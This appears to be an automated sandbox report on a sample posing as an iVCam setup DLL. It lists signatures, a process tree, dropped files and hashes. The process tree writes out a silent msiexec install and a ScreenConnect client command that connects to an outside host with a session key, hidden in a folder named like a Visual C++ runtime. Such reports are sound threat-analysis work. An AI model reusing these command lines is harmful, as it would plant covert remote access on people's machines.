Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/07/2026, 06:04

General

  • Target
    ivcam/dsetup.dll
  • Size 57.6MB
  • Sample260710-gs2ktaft21
  • SHA256 b4d0f84e44a782b5c98c48a34a5442bde600f59e451a067f5ea28d3cbe528966
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 24 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 23 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\ivcam\dsetup.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4508
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\ivcam\dsetup.dll,#1
      2⤵
      • Checks for any installed AV software in registry
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3588
      • C:\Users\Admin\AppData\Local\Temp\0ec3b972.exe
        "C:\Users\Admin\AppData\Local\Temp\0ec3b972.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1564
        • C:\Users\Admin\AppData\Local\Temp\is-EJU0A.tmp\0ec3b972.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-EJU0A.tmp\0ec3b972.tmp" /SL5="$70226,45808603,321024,C:\Users\Admin\AppData\Local\Temp\0ec3b972.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3772
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\77F00E56.tmp /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:724
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 672
        3⤵
        • Program crash
        PID:1860
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3588 -ip 3588
    1⤵
      PID:4520
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4660
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 30BB1DCD66EA0176B18203632B386407
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4908
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI6D7A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240676265 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:1676
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6D37862969DA0B1F798C01078FB60F26 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1708
    • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=ac8957f8-0ab9-43af-9f68-3f93ceb316a0&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ivcam&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:956
      • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe" "RunRole" "56e64d29-373c-434a-84f5-cbe68f7b94f2" "User"
        2⤵
        • Executes dropped EXE
        PID:4356

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e586a80.rbs

          • Path C:\Config.Msi\e586a80.rbs
          • Size 214KB
          • SHA256 797296eb074f41153ee36b8d6456ba1d1a723ca50c78403fa05cefe566b7261d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.resources
          • Size 4KB
          • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\VCRuntimePackage_x86\system.config
          • Size 958B
          • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
          • MD5 SHA1 SHA512 TLSH

          0ec3b972.exe

          • Path C:\Users\Admin\AppData\Local\Temp\0ec3b972.exe
          • Size 44.2MB
          • SHA256 6b195b20a40da4afa627e41c5c6bdba5cb59dc5efe2c484f77218ed82a7fda17
          • MD5 SHA1 SHA512 SSDEEP TLSH

          77F00E56.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\77F00E56.tmp
          • Size 12.8MB
          • SHA256 b9b3095c002aa94edef93750a49bdf4104e1061bdf13d492a4bdc917fd87c96d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          0ec3b972.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\is-EJU0A.tmp\0ec3b972.tmp
          • Size 1.3MB
          • SHA256 9cce716d82b72a99db601b466d1376ea797ec3a8f98b77b8b96c9a7abd2c291b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6D7A.tmp

          • Path C:\Windows\Installer\MSI6D7A.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI6D7A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI6D7A.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI6D7A.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI6D7A.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI725E.tmp

          • Path C:\Windows\Installer\MSI725E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          idxecyno.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\idxecyno.newcfg
          • Size 584B
          • SHA256 b37d1fc77cab3d8dcb6d19c1cc435ea58b89456942a6756355741c2e55c672c7
          • MD5 SHA1 SHA512 TLSH

          mmn0cdk4.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\mmn0cdk4.newcfg
          • Size 584B
          • SHA256 55c458b0545bcb1d6deba09737b214024e39261e722ed302ed12ccb2ab99897e
          • MD5 SHA1 SHA512 TLSH

          q3vjfy1q.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\q3vjfy1q.newcfg
          • Size 584B
          • SHA256 7a561455adffb40c37dc1479af0698c1d7ea02760849e8e15a526c0bc85192ac
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
          • Size 584B
          • SHA256 886a4d8d6c83d59bbba1b88072371fb3452bcc69c1eb03a403d57bc242bd065f
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
          • Size 584B
          • SHA256 4284960735c3e4f4f5597b545da8e2a452b89835f65a3e0c3e07699b7e766d60
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
          • Size 584B
          • SHA256 7a0e5a0ff978a626b20ecfd71c3f612ccfbf0c7a0e46c588e4fec27e3bbaa717
          • MD5 SHA1 SHA512 TLSH

          vuuv2e5k.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\vuuv2e5k.newcfg
          • Size 584B
          • SHA256 890360b7894cd5ee3221a775d105cc70d673f966b8fe9e15c7f8a31c0dd2f014
          • MD5 SHA1 SHA512 TLSH

          yr0l0rdk.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\yr0l0rdk.newcfg
          • Size 584B
          • SHA256 c3f6db494d7ed38060e19a08066d963f1863d9f864985b392c0097b4bc5a2daa
          • MD5 SHA1 SHA512 TLSH

          memory/956-106-0x0000000003C50000-0x0000000003CA0000-memory.dmp

          memory/956-113-0x0000000003CE0000-0x0000000003D21000-memory.dmp

          memory/956-110-0x0000000003CA0000-0x0000000003CD6000-memory.dmp

          memory/956-111-0x0000000003F40000-0x0000000003FD2000-memory.dmp

          memory/956-95-0x00000000012B0000-0x00000000012C8000-memory.dmp

          memory/956-115-0x0000000004120000-0x00000000041F5000-memory.dmp

          memory/1564-9-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/1564-144-0x0000000000400000-0x0000000000458000-memory.dmp

          memory/1676-42-0x00000000047E0000-0x000000000480E000-memory.dmp

          memory/1676-55-0x00000000052C0000-0x0000000005864000-memory.dmp

          memory/1676-54-0x0000000004B60000-0x0000000004D0C000-memory.dmp

          memory/1676-50-0x0000000004920000-0x00000000049AE000-memory.dmp

          memory/1676-46-0x00000000047C0000-0x00000000047CA000-memory.dmp

          memory/3772-159-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-222-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-260-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-258-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-174-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-243-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-189-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-241-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-204-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-206-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-239-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-145-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-224-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/3772-226-0x0000000000400000-0x000000000055E000-memory.dmp

          memory/4356-128-0x000000001B9B0000-0x000000001BA3E000-memory.dmp

          memory/4356-131-0x000000001B4B0000-0x000000001B4C8000-memory.dmp

          memory/4356-132-0x000000001B4F0000-0x000000001B508000-memory.dmp

          memory/4356-129-0x000000001BBF0000-0x000000001BD9C000-memory.dmp

          memory/4356-126-0x0000000000A60000-0x0000000000AF8000-memory.dmp

          memory/4356-130-0x000000001BDA0000-0x000000001BF26000-memory.dmp

          memory/4356-127-0x0000000002B90000-0x0000000002BC6000-memory.dmp